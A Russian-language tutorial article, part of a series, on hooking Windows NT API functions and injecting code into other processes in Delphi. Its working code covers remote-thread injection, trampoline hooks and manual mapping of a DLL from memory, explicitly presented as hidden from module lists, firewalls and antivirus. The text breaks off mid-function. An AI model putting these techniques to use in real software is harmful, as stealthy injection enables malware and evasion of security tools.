Перехват API функций в Windows NT (часть 2). Методы внедрения кода.

Дата публикации 16 май 2005

Перехват API функций в Windows NT (часть 2). Методы внедрения кода. — Архив WASM.RU



Предисловие редакции WASM.RU:

В данном цикле статей используется язык Дельфи (ахтунг!, детям и слабонервным просьба соблюдать необходимые меры предосторожности ^_^), поэтому мы долго колебались относительно того, стоит ли размещать его на сайте, однако учитывая, что материал может представлять интерес для многих посетителей, мы всё же пошли на это. Тем не менее просьба потенциальным авторам избегать проявлений паскальности в своих будущих статьях ^_^.

В первой части статьи мы рассмотрели общие принципы API перехвата, и освоили метод перехвата заменой начальных байт функции. Для перехвата в другом процессе мы использовали метод внедрения DLL. Данный метод прост, но не всегда эффективен и не обеспечивает высокой скрытности внедрения.

В этой статье мы рассмотрим более эффективные способы перехвата, а в особенности приёмы написания внедряемого кода. Также в конце статьи я рассмотрю альтернативные методы внедрения кода в чужой процесс.
Все приемы написания внедряемого кода описанные здесь предназначены для использования в Borland Delphi (6, 7, 2005), но с минимальными изменениями могут быть использованы и в среде Microsoft Visual C++. В среде Borland C++ Builder некоторые приведенные приёмы неосуществимы (в связи с особенностями генерации кода компилятором).



Требования к внедряемому коду:

1) Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
2) Независимость от RTL (Run Time Library).
3) Использование только библиотек загруженных в АП (адресное пространство) целевого процесса.
4) Наличие в внедряемом коде всех необходимых для него данных.

Внедряемый код не должен содержать переходов по абсолютным адресам, а также абсолютных ссылок на данные, импортировать функции из DLL можно динамически, через LoadLibrary и GetProcAddress.
Адреса функций из ntdll.dll и kernel32.dll можно передавать в внедряемый код из исходного процесса, т.к. эти библиотеки всегда загружаются по одинаковым адресам во всех процессах. Другие системные библиотеки (user32.dll, shell32.dll) тоже часто загружаются по одинаковым адресам, но так происходит только в том случае, если исходный и целевой процессы импортируют эти библиотеки статически, в случае же динамического импорта в следствии коллизии модулей они могут быть загружены по разным адресам. Все остальные библиотеки обычно загружаются по разным адресам в разных процессах даже при использовании статического импорта. При написании внедряемого кода следует учесть, что единственная DLL которая обязательно должна присутствовать в адресном пространстве любого процесса - это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.
Компилятор Delphi обычно генерирует в процедурах короткие переходы (JMP SHORT), но при большом размере процедуры могут появиться переходы по абсолютным адресам, поэтому внедряемый код желательно писать используя короткие процедуры, используя как можно меньше условий и циклов.
В случае возникновения проблем с внедряемым кодом, необходимо воспользоваться отладчиком и убедиться в том, что сгенерированный код удовлетворяет вышеприведенным условиям.

Если писать внедряемый код на delphi, то в нем нельзя использовать объекты, строки типа string, а также любые другие типы данных опирающиеся на функциональность Delphi Run Time Library. Вместо string следует использовать PChar и динамически, с помощью VirtualAlloc выделять память под строку, либо хранить строку в стеке объявляя её в локальных переменных как array of Char.




Использование API из внедряемого кода:

Если внедряемый код использует функции экспортируемые библиотеками отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в АП целевого процесса, и при необходимости загрузить их.
Для загрузки библиотеки можно использовать функцию LdrLoadDll из ntdll.dll.

Код (Text):
  1. function LdrLoadDll(szcwPath: PWideChar;
  2.                     pdwLdrErr: dword;
  3.                     pUniModuleName: PUnicodeString;
  4.                     pResultInstance: PDWORD): NTSTATUS;
  5.                        stdcall; external 'ntdll.dll';
  6.  

Нас интересует параметр pUniModuleName представляющий из себя указатель на строку типа UnicodeString в которой передается имя загружаемой DLL. По указателю pResultInstance будет сохранен адрес MZ заголовка загруженной DLL (параметр hInstance).
Следующий код загружает DLL аналогично функции kernel32 LoadLibraryW:

Код (Text):
  1. Function MyLoadLibrary(lpLibFileName: PWideChar): HMODULE;
  2. var
  3.  uName: TUnicodeString;
  4. begin
  5.  RtlInitUnicodeString(@uName, lpLibFileName);
  6.  if (LdrLoadDll(nil, 0, @uName, @Result) > 0) then Result := 0;
  7.  RtlFreeUnicodeString(@uName);
  8. end;

Для получения адреса функции чледует использовать LdrGetProcedureAddress.

Код (Text):
  1. function LdrGetProcedureAddress(hModule: dword;
  2.                                 dOrdinal: DWORD;
  3.                                  psName: PAnsiString;
  4.                                  ppProcedure: ppointer): NTStatus;
  5.                                   stdcall; external 'ntdll.dll';

Если необходимо обеспечить максимальную скрытность перехвата, то вообще лучше использовать во внедряемом коде только функции Native API.





Внедрение процедуры в процесс:

Так как внедрение участков кода и связанных с ними данных требует большого количества однотипных операций, введем процедуры упрощающие программирование подобных вещей.

Процедура копирования участка памяти в процесс:

Код (Text):
  1. function InjectMemory(Process: dword; Memory: pointer; Size: dword): pointer;
  2. var
  3.   BytesWritten: dword;
  4. begin
  5.   Result := VirtualAllocEx(Process, nil, Size, MEM_COMMIT or MEM_RESERVE,
  6.                            PAGE_EXECUTE_READWRITE);
  7.   WriteProcessMemory(Process, Result, Memory, Size, BytesWritten);
  8. end;


Эта процедура предельно проста, она принимает хэндл открытого процесса, указатель на данные в текущем процессе и размер данных, а возвращает указатель на данные в целевом процессе.

Внедрение процедуры в целевой процесс:

Код (Text):
  1. program InjectCode;
  2.  
  3. uses
  4.   Windows,
  5.   advApiHook;
  6.  
  7. type
  8.   TRemoteInfo = record
  9.     LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
  10.     GetProcAddress: function(hModule: HMODULE;
  11.                              lpProcName: LPCSTR): FARPROC; stdcall;
  12.     Kernel32    : array[0..16] of Char;
  13.     User32      : array[0..16] of Char;
  14.     MessageBoxA : array[0..16] of Char;
  15.     nExitThread : array[0..16] of Char;
  16.     Text        : array[0..16] of Char;
  17.     Title       : array[0..16] of Char;
  18.   end;
  19.  
  20. { Процедура внедряемая в процесс }
  21. procedure RemoteThread(RemoteInfo: pointer); stdcall;
  22. var
  23.  MessageBox: function(hWnd: HWND; lpText,
  24.                       lpCaption: PChar; uType: UINT): Integer; stdcall;
  25.  ExitThread: procedure(uExitCode: UINT); stdcall;
  26. begin
  27.   with TRemoteInfo(RemoteInfo^) do
  28.   begin
  29.     @MessageBox := GetProcAddress(LoadLibrary(User32), MessageBoxA);
  30.     @ExitThread := GetProcAddress(LoadLibrary(Kernel32), nExitThread);
  31.     MessageBox(0, Text, Title, 0);
  32.     ExitThread(0);
  33.   end;
  34. end;
  35. procedure RemoteThreadEnd; begin end; //метка конца кода
  36.  
  37. var
  38.   RemoteInfo: TRemoteInfo;
  39.   pInfo, CodeAdr: pointer;
  40.   TID: dword;
  41.   Process: dword;
  42.   StartInfo: TStartupInfo;
  43.   ProcInfo: TProcessInformation;
  44.  
  45. begin
  46.   //Запускаем процесс
  47.   ZeroMemory(@StartInfo, SizeOf(TStartupInfo));
  48.   StartInfo.cb := SizeOf(TStartupInfo);
  49.   CreateProcess(nil, 'notepad.exe', nil, nil, False, 0,
  50.                 nil, nil, StartInfo, ProcInfo);
  51.   Process := ProcInfo.hProcess;
  52.   //Заполняем структуру передаваемую внедряемому коду
  53.   lstrcpy(RemoteInfo.User32, 'user32.dll');
  54.   lstrcpy(RemoteInfo.Kernel32, 'kernel32.dll');
  55.   lstrcpy(RemoteInfo.MessageBoxA, 'MessageBoxA');
  56.   lstrcpy(RemoteInfo.nExitThread, 'ExitThread');
  57.   lstrcpy(RemoteInfo.Text, 'Hello World!');
  58.   lstrcpy(RemoteInfo.Title, 'Injected MessageBox');
  59.   //получаем адреса используемых API
  60.   @RemoteInfo.LoadLibrary    := GetProcAddress(GetModuleHandle('kernel32.dll'),
  61.                                                'LoadLibraryA');
  62.   @RemoteInfo.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'),
  63.                                                'GetProcAddress');
  64.   //копируем в процесс структуру с данными
  65.   pInfo := InjectMemory(Process, @RemoteInfo, SizeOf(TRemoteInfo));
  66.   //копируем в процесс внедряемый код
  67.   CodeAdr := InjectMemory(Process, @RemoteThread,
  68.                           dword(@RemoteThreadEnd) - dword(@RemoteThread));
  69.   //запускаем внедренный код
  70.   CreateRemoteThread(Process, nil, 0, CodeAdr, pInfo, 0, TID);
  71. end.


Перед внедрением кода процедуры, необходимо скопировать в память целевого процесса структуру с данными используемыми внедряемым кодом. В этой структуре необходимо передать адреса функций LoadLibary и GetProcAddress, через которые внедряемый код будет загружать используемые библиотеки и получать адреса используемых функций. Все используемые в коде строки также передаются через структуру, так как при записи строк в коде программы компилятор размещает их в секции данных, и генерирует ссылки на них по абсолютным адресам.

Для облегчения программирования подобных вещей введем еще одну процедуру:

Код (Text):
  1. function InjectThread(Process: dword; Thread: pointer; Info: pointer;
  2.                       InfoLen: dword; Results: boolean): THandle;
  3. var
  4.   pThread, pInfo: pointer;
  5.   BytesRead, TID: dword;
  6. begin
  7.   pInfo   := InjectMemory(Process, Info, InfoLen);
  8.   pThread := InjectMemory(Process, Thread, SizeOfProc(Thread));
  9.   Result  := CreateRemoteThread(Process, nil, 0, pThread, pInfo, 0, TID);
  10.   if Results then
  11.     begin
  12.       WaitForSingleObject(Result, INFINITE);
  13.       ReadProcessMemory(Process, pInfo, Info, InfoLen, BytesRead);
  14.     end;
  15. end;


Эта процедура копирует в целевой процесс внедряемый код и структуру с данными для него, после чего запускает внедренный код.
Принимаемые параметры:
Process  - хэндл открытого процесса.
Thread   - указатель на внедряемый код в текущем процессе.
Info        - указатель на структуру с данными.
InfoLen - размер структуры с данными.
Results - необходимость возврата результата. (если true, то функция ожидает завершения удаленного потока и копирует обратно структуру с данными) .

Для определения размера внедряемого кода используется функция SizeOfProc, которая приведена далее.





Совершенствуем метод перехвата:

В предыдущей статье был описан метод перехвата путем замены первых 5 байт перехватываемой функции своими, для вызова реальной (true) функции нужно было установить обратно замененные байты, а после вызова - снова установить перехват.
Недостаток этого метода в том, что в многопоточных приложениях в моменты снятия - установки перехвата возможен вызов функции другим потоком напрямую, или возникновение критической ошибки в случае прерывания потока в момент записи участка кода. Эти недостатки можно устранить останавливая и запуская побочные потоки приложения каждый раз при вызове true функции, но это приведет к значительному снижению производительности, либо даже к взаимным блокировкам потоков (например при перехвате WaitForSingleObject).
Для устранения недостатков этого метода, следует его немного модифицировать. Необходимо выделить в памяти буфер, и скопировать туда участок начала перехватываемой функции содержащий целое число команд и имеющий длину >= 5 байт, после чего в его конце поставить jmp на следующую команду перехватываемой функции после сохраненного участка. После чего сформированный таким образом код можно будет вызывать в качестве true функции.
Этот метод имеет все достоинства и лишен недостатков предыдущего. Он обеспечивает корректную работу в многопоточном приложении и быстрый вызов true функций. Написание кода перехватчиков в этом случае также значительно упрощается.

Все эти действия производит следующая функция:

Код (Text):
  1. {<i>
  2.   Установка перехвата функции.
  3.   TargetProc - адрес перехватываемой функции,
  4.   NewProc    - адрес функции замены,
  5.   OldProc    - здесь будет сохранен адрес моста к старой функции.
  6. </i>}
  7. function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;
  8. var
  9.   Address: dword;
  10.   OldProtect: dword;
  11.   OldFunction: pointer;
  12.   Proc: pointer;
  13. begin
  14.   Result := False;
  15.   try
  16.     Proc := TargetProc;
  17.     //вычисляем адрес относительного (jmp near) перехода на новую функцию  
  18.     Address := dword(NewProc) - dword(Proc) - 5;
  19.     VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
  20.     //создаем буффер для true функции
  21.     GetMem(OldFunction, 255);
  22.     //копируем первые 4 байта функции
  23.     dword(OldFunction^) := dword(Proc);
  24.     byte(pointer(dword(OldFunction) + 4)^) := SaveOldFunction(Proc, pointer(dword(OldFunction) + 5));
  25.     //byte(pointer(dword(OldFunction) + 4)^) - длина сохраненного участка
  26.     byte(Proc^) := $e9; //устанавливаем переход
  27.     dword(pointer(dword(Proc) + 1)^) := Address;
  28.     VirtualProtect(Proc, 5, OldProtect, OldProtect);
  29.     OldProc := pointer(dword(OldFunction) + 5);
  30.   except
  31.     Exit;
  32.   end;
  33.   Result := True;
  34. end;

Для сохранения участка содержащего целое число команд используется функция SaveOldFunction:

Код (Text):
  1. function SaveOldFunction(Proc: pointer; Old: pointer): dword;
  2. var
  3.   SaveSize, Size: dword;
  4.   Next: pointer;
  5. begin
  6.   SaveSize := 0;
  7.   Next := Proc;
  8.   //сохраняем следующие несколько коротких, либо одну длинную инструкцию
  9.   while SaveSize < 5 do
  10.   begin
  11.     Size := SizeOfCode(Next);
  12.     Next := pointer(dword(Next) + Size);
  13.     Inc(SaveSize, Size);
  14.   end;
  15.   CopyMemory(Old, Proc, SaveSize);
  16.   //генерируем переход на следующую инструкцию после сохраненного участка
  17.   byte(pointer(dword(Old) + SaveSize)^) := $e9;
  18.   dword(pointer(dword(Old) + SaveSize + 1)^) := dword(Next) - dword(Old) - SaveSize - 5;
  19.   Result := SaveSize;
  20. end;

Для снятия перехвата достаточно прочитать количество сохраненных байт и записать их обратно в начало перехватываемой функции.
Это делает следующий код:

Код (Text):
  1. {<i>
  2.  Снятие перехвата установленного по HookCode,
  3.  OldProc - адрес моста возвращенный функцией HookCode.
  4. </i>}
  5. function UnhookCode(OldProc: pointer): boolean;
  6. var
  7.   OldProtect: dword;
  8.   Proc: pointer;
  9.   SaveSize: dword;
  10. begin
  11.   Result := True;
  12.   try
  13.     Proc := pointer(dword(pointer(dword(OldProc) - 5)^));
  14.     SaveSize := byte(pointer(dword(OldProc) - 1)^);
  15.     VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
  16.     CopyMemory(Proc, OldProc, SaveSize);
  17.     VirtualProtect(Proc, 5, OldProtect, OldProtect);
  18.     FreeMem(pointer(dword(OldProc) - 5));
  19.   except
  20.     Result := False;
  21.   end;
  22. end;

Так как чаще всего приходиться перехватывать функции экспортируемые DLL, то для упрощения задачи введем еще одну функцию:

Код (Text):
  1. {<i>
  2.  Установка перехвата функции из Dll в текущем процессе.
  3.  lpModuleName - имя модуля,
  4.  lpProcName   - имя функции,
  5.  NewProc    - адрес функции замены,
  6.  OldProc    - здесь будет сохранен адрес моста к старой функции.
  7.  В случае отсутствия модуля в текущем АП, будет сделана попытка его загрузить.</i>
  8. }
  9. function HookProc(lpModuleName, lpProcName: PChar;
  10.                   NewProc: pointer; var OldProc: pointer): boolean;
  11. var
  12.  hModule: dword;
  13.  fnAdr: pointer;
  14. begin
  15.  Result := false;
  16.  hModule := GetModuleHandle(lpModuleName);
  17.  if hModule = 0 then hModule := LoadLibrary(lpModuleName);
  18.  if hModule = 0 then Exit;
  19.  fnAdr := GetProcAddress(hModule, lpProcName);
  20.  if fnAdr = nil then Exit;
  21.  Result := HookCode(fnAdr, NewProc, OldProc);
  22. end;





Внедрение процесса целиком:

Рассмотренный здесь метод внедрения отдельных процедур кода непрост по причине необходимости четко разграничить код и данные и формировать их отдельно. Но можно сделать куда проще - внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код данные ресурсы и.т.д.) после чего запустить на выполнение и работать также, как и в своем процессе. Этот метод позволяет работать во внедряемом кода с RTL и применять обьектно ориентированное программирование, к тому же сам метод чрезвычайно прост для применения.
Для внедрения образа текущего процесса введем следующую функцию:

Код (Text):
  1. {<i>
  2.  Внедрение образа текущего процесса в чужое адресное пространство.
  3.  EntryPoint - адрес точки входа внедренного кода.</i>
  4. }
  5. function InjectThisExe(Process: dword; EntryPoint: pointer): boolean;
  6. var
  7.   Module, NewModule: pointer;
  8.   Size, TID: dword;
  9.   hThread  : dword;
  10.   BytesWritten: dword;
  11. begin
  12.   Result := False;
  13.   Module := pointer(GetModuleHandle(nil));
  14.   Size := PImageOptionalHeader(pointer(integer(Module) +
  15.                                PImageDosHeader(Module)._lfanew + SizeOf(dword) +
  16.                                SizeOf(TImageFileHeader))).SizeOfImage;
  17.   NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
  18.                               MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  19.   if NewModule = nil then exit;
  20.   WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
  21.   hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
  22.   if hThread  0 then Result := True;
  23. end;

Она копирует полный образ исполнимого файла на диске в АП целевого процесса и запускает его выполнение в отдельном потоке с точки EntryPoint.

То же самое можно произвести и с любым другим образом исполнимого файла:

Код (Text):
  1. {<i>
  2.  Внедрение образа Exe файла в чужое адресное пространство и запуск его точки входа.
  3.  Data - адрес образа файла в текущем процессе.</i>
  4. }
  5. function InjectExe(Process: dword; Data: pointer): boolean;
  6. var
  7.   Module, NewModule: pointer;
  8.   EntryPoint: pointer;
  9.   Size, TID: dword;
  10.   hThread  : dword;
  11.   BytesWritten: dword;
  12.   Header: PImageOptionalHeader;
  13. begin
  14.   Result := False;
  15.   Header := PImageOptionalHeader(pointer(integer(Data) +
  16.                                PImageDosHeader(Data)._lfanew + SizeOf(dword) +
  17.                                SizeOf(TImageFileHeader)));
  18.   Size := Header^.SizeOfImage;
  19.   Module := pointer(Header^.ImageBase);
  20.   EntryPoint := pointer(Header^.ImageBase + Header^.AddressOfEntryPoint);
  21.  
  22.   NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
  23.                               MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  24.   if NewModule = nil then exit;
  25.   WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
  26.   hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
  27.   if hThread  0 then Result := True;
  28. end;

Приведем пример использования этого метода:

Код (Text):
  1. program InjectProcess;
  2.  
  3. {$IMAGEBASE $13140000}
  4.  
  5. uses
  6.   Windows,
  7.   advApiHook;
  8.  
  9. var
  10.   StartInf: TStartupInfo;
  11.   ProcInf: TProcessInformation;
  12.  
  13. function Main(dwEntryPoint: Pointer): dword; stdcall;
  14. begin
  15.   LoadLibrary('kernel32.dll');
  16.   LoadLibrary('user32.dll');
  17.   MessageBox(0, 'Hello World', 'Process Injection', 0);
  18.   ExitThread(0);
  19. end;
  20.  
  21. begin
  22.   //запускаем блокнот
  23.   ZeroMemory(@StartInf, SizeOf(TStartupInfo));
  24.   CreateProcess(nil, 'notepad.exe', nil, nil, false,
  25.                 0, nil, nil, StartInf, ProcInf);
  26.   //внедряем в него образ текущего процесса
  27.   InjectThisExe(ProcInf.hProcess, @Main);
  28. end.


В этом коде следует обратить внимание на директиву {$IMAGEBASE $13140000}, она заставляем компилятор генерировать исполняемый образ с базой загрузки 13140000h. Адрес ImageBase следует выбирать таким, чтобы память в целевом процессе по этому адресу не была занята. Также перед тем, как использовать какие либо API вызовы из внедряемого кода, следует загрузить используемые DLL библиотеки с помощью LoadLibrary, так как в целевом процессе их может не оказаться.
Я думаю, вы уже заметили, что этот метод имеет одно единственное ограничение - это невозможность загрузки по адресу отличному от ImageBase. Если по этому адресу память в целевом процессе будет занята, то можно её освободить с помощью VirtualFree, но ни к чему хорошему это не приведет, так поступать можно только тогда, когда нужно полностью заменить целевой процесс, и перед этим необходимо остановить все его потоки. Тогда после загрузки исполняемого образа можно будет освободить всю связанную с заменяемым процессом память и уничтожить все его потоки. Также к недостаткам этого метода можно отнести необходимость загрузки библиотек используемых внедряемым процессом, а это значительно снижает скрытность перехвата.
Существует способ преодолеть привязку внедряемого процесса к ImageBase, для этого нужно заставить компилятор генерировать в исполнимом файле reloc секцию, а после загрузки образа по произвольному адресу настраивать релоки (процедура настройки релоков приведена далее).





Усовершенствованный метод DLL Injection:

Для перехвата API в другом процессе весьма удобен и эффективен метод внедрения в него своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут заругаться антивирусы и фаерволлы (например Outpost Fierwall) что тоже нежелательно.
Но существует метод позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не заругается фаерволл.

Следующий код копирует и настраивает DLL в выделенный участок чужого адресного пространства:

Код (Text):
  1. {<i>
  2.  Отображение Dll на чужое адресное пространство, настройка импорта и релоков.
  3.  Process - хэндл процесса для отображения,
  4.  Dest    - адрес отображения в процессе Process,
  5.  Src     - адрес образа Dll в текущем процессе.</i>
  6. }
  7. function MapLibrary(Process: dword; Dest, Src: pointer): TLibInfo;
  8. var
  9.   ImageBase: pointer;
  10.   ImageBaseDelta: integer;
  11.   ImageNtHeaders: PImageNtHeaders;
  12.   PSections: ^TSections;
  13.   SectionLoop: integer;
  14.   SectionBase: pointer;
  15.   VirtualSectionSize, RawSectionSize: dword;
  16.   OldProtect: dword;
  17.   NewLibInfo: TLibInfo;
  18.  
  19.   {<i> Настройка релоков </i>}
  20.   procedure ProcessRelocs(PRelocs:PImageBaseRelocation);
  21.   var
  22.     PReloc: PImageBaseRelocation;
  23.     RelocsSize: dword;
  24.     Reloc: PWord;
  25.     ModCount: dword;
  26.     RelocLoop: dword;
  27.   begin
  28.     PReloc := PRelocs;
  29.     RelocsSize := ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
  30.     while dword(PReloc) - dword(PRelocs) < RelocsSize do
  31.     begin
  32.       ModCount := (PReloc.SizeOfBlock - Sizeof(PReloc^)) div 2;
  33.       Reloc := pointer(dword(PReloc) + sizeof(PReloc^));
  34.       for RelocLoop := 0 to ModCount - 1 do
  35.       begin
  36.         if Reloc^ and $f000  0 then Inc(pdword(dword(ImageBase) +
  37.                                           PReloc.VirtualAddress +
  38.                                           (Reloc^ and $0fff))^, ImageBaseDelta);
  39.         Inc(Reloc);
  40.       end;
  41.       PReloc := pointer(Reloc);
  42.     end;
  43.   end;
  44.  
  45.   {<i> Настройка импорта Dll в чужом процессе</i>}
  46.   procedure ProcessImports(PImports: PImageImportDescriptor);
  47.   var
  48.     PImport: PImageImportDescriptor;
  49.     Import: pdword;
  50.     PImportedName: pchar;
  51.     ProcAddress: pointer;
  52.     PLibName: pchar;
  53.     ImportLoop: integer;
  54.  
  55.     function IsImportByOrdinal(ImportDescriptor: dword): boolean;
  56.     begin
  57.       Result := (ImportDescriptor and IMAGE_ORDINAL_FLAG32)  0;
  58.     end;
  59.  
  60.   begin
  61.     PImport := PImports;
  62.     while PImport.Name  0 do
  63.     begin
  64.       PLibName := pchar(dword(PImport.Name) + dword(ImageBase));
  65.       if not Find(NewLibInfo.LibsUsed, PLibName, ImportLoop) then
  66.       begin
  67.         InjectDll(Process, PLibName);
  68.         Add(NewLibInfo.LibsUsed, PLibName);
  69.       end;
  70.       if PImport.TimeDateStamp = 0 then
  71.         Import := pdword(pImport.FirstThunk + dword(ImageBase))
  72.       else
  73.         Import := pdword(pImport.OriginalFirstThunk + dword(ImageBase));
  74.  
  75.       while Import^  0 do
  76.       begin
  77.         if IsImportByOrdinal(Import^) then
  78.           ProcAddress := GetProcAddressEx(Process, PLibName, PChar(Import^ and $ffff), 4)
  79.         else
  80.         begin
  81.           PImportedName := pchar(Import^ + dword(ImageBase) + IMPORTED_NAME_OFFSET);
  82.           ProcAddress := GetProcAddressEx(Process, PLibName, PImportedName, Length(PImportedName));
  83.         end;
  84.         Ppointer(Import)^ := ProcAddress;
  85.         Inc(Import);
  86.       end;
  87.       Inc(PImport);
  88.     end;
  89.   end;
  90.  
  91. begin
  92.   ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
  93.   ImageBase := VirtualAlloc(Dest, ImageNtHeaders.OptionalHeader.SizeOfImage,
  94.                             MEM_RESERVE, PAGE_NOACCESS);
  95.                            
  96.   ImageBaseDelta := dword(ImageBase) - ImageNtHeaders.OptionalHeader.ImageBase;
  97.   SectionBase := VirtualAlloc(ImageBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
  98.                               MEM_COMMIT, PAGE_READWRITE);
  99.   Move(Src^, SectionBase^, ImageNtHeaders.OptionalHeader.SizeOfHeaders);
  100.   VirtualProtect(SectionBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
  101.                  PAGE_READONLY, OldProtect);
  102.   PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) +
  103.                                ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
  104.                                
  105.   for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  106.   begin
  107.     VirtualSectionSize := PSections[SectionLoop].Misc.VirtualSize;
  108.     RawSectionSize := PSections[SectionLoop].SizeOfRawData;
  109.     if VirtualSectionSize < RawSectionSize then
  110.     begin
  111.       VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
  112.       RawSectionSize := VirtualSectionSize xor RawSectionSize;
  113.       VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
  114.     end;
  115.     SectionBase := VirtualAlloc(PSections[SectionLoop].VirtualAddress +
  116.                                 pchar(ImageBase), VirtualSectionSize,
  117.                                 MEM_COMMIT, PAGE_READWRITE);
  118.     FillChar(SectionBase^, VirtualSectionSize, 0);
  119.     Move((pchar(src) + PSections[SectionLoop].pointerToRawData)^,
  120.          SectionBase^, RawSectionSize);
  121.   end;
  122.   NewLibInfo.DllProcAddress := pointer(ImageNtHeaders.OptionalHeader.AddressOfEntryPoint +
  123.                                        dword(ImageBase));
  124.    NewLibInfo.DllProc := TDllEntryProc(NewLibInfo.DllProcAddress);
  125.  
  126.   NewLibInfo.ImageBase := ImageBase;
  127.   NewLibInfo.ImageSize := ImageNtHeaders.OptionalHeader.SizeOfImage;
  128.   SetLength(NewLibInfo.LibsUsed, 0);
  129.   if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress  0
  130.      then ProcessRelocs(pointer(ImageNtHeaders.OptionalHeader.
  131.                                 DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
  132.                                 VirtualAddress + dword(ImageBase)));
  133.  
  134.   if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress  0
  135.      then ProcessImports(pointer(ImageNtHeaders.OptionalHeader.
  136.                                  DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
  137.                                  VirtualAddress + dword(ImageBase)));
  138.      
  139.   for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  140.     VirtualProtect(PSections[SectionLoop].VirtualAddress + pchar(ImageBase),
  141.                    PSections[SectionLoop].Misc.VirtualSize,
  142.                    GetSectionProtection(PSections[SectionLoop].Characteristics),
  143.                    OldProtect);
  144.   Result := NewLibInfo;
  145. end;

Теперь для внедрения DLL в целевой процесс этим способом можно использовать следующую функцию:

Код (Text):
  1. {<i>
  2.   Внедрение Dll в процесс методом инжекции кода и настройки образа Dll в памяти.
  3.   Данный метод внедрения более скрытен, и не обнаруживается фаерволлами.</i>
  4. }
  5. function InjectDllEx(Process: dword; Src: pointer): boolean;
  6. type
  7.   TDllLoadInfo = packed record
  8.                   Module: pointer;
  9.                   EntryPoint: pointer;
  10.                  end;
  11. var
  12.   Lib: TLibInfo;
  13.   BytesWritten: dword;
  14.   ImageNtHeaders: PImageNtHeaders;
  15.   pModule: pointer;
  16.   Offset: dword;
  17.   DllLoadInfo: TDllLoadInfo;
  18.   hThread: dword;
  19.  
  20.  {<i> процедура передачи управления на точку входа dll</i> }
  21.   procedure DllEntryPoint(lpParameter: pointer); stdcall;
  22.   var
  23.     LoadInfo: TDllLoadInfo;
  24.   begin
  25.     LoadInfo := TDllLoadInfo(lpParameter^);
  26.     asm
  27.       xor eax, eax
  28.       push eax
  29.       push DLL_PROCESS_ATTACH
  30.       push LoadInfo.Module
  31.       call LoadInfo.EntryPoint
  32.     end;
  33.   end;
  34.  
  35. begin
  36.   Result := False;
  37.   ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
  38.   Offset := $10000000;
  39.   repeat
  40.     Inc(Offset, $10000);
  41.     pModule := VirtualAlloc(pointer(ImageNtHeaders.OptionalHeader.ImageBase + Offset),
  42.                             ImageNtHeaders.OptionalHeader.SizeOfImage,
  43.                             MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  44.     if pModule  nil then
  45.     begin
  46.       VirtualFree(pModule, 0, MEM_RELEASE);
  47.       pModule := VirtualAllocEx(Process, pointer(ImageNtHeaders.OptionalHeader.
  48.                                                  ImageBase + Offset),
  49.                                                  ImageNtHeaders.OptionalHeader.
  50.                                                  SizeOfImage,
  51.                                                  MEM_COMMIT or MEM_RESERVE,
  52.                                                  PAGE_EXECUTE_READWRITE);
  53.     end;
  54.   until ((pModule  nil) or (Offset > $30000000));
  55.   Lib := MapLibrary(Process, pModule, Src);
  56.   if Lib.ImageBase = nil then Exit;
  57.   DllLoadInfo.Module     := Lib.ImageBase;
  58.   DllLoadInfo.EntryPoint := Lib.DllProcAddress;
  59.   WriteProcessMemory(Process, pModule, Lib.ImageBase, Lib.ImageSize, BytesWritten);
  60.   hThread := InjectThread(Process, @DllEntryPoint, @DllLoadInfo,
  61.                           SizeOf(TDllLoadInfo), False);
  62.   if hThread  0 then Result := True
  63. end;
  64.  


В приведенном коде, как вы наверное заметили используется функция GetProcAddressEx для получения адреса API в целевом процессе.
Эта задача также выполняется с помощью внедрения кода и создания удаленных потоков.
Вот полный код этой функции:

Код (Text):
  1. {<i> Получение адреса API в чужом адресном пространстве </i>}
  2. function GetProcAddressEx(Process: dword; lpModuleName,
  3.                           lpProcName: pchar; dwProcLen: dword): pointer;
  4. type
  5.   TGetProcAddrExInfo = record
  6.     pExitThread: pointer;
  7.     pGetProcAddress: pointer;
  8.     pGetModuleHandle: pointer;
  9.     lpModuleName: pointer;
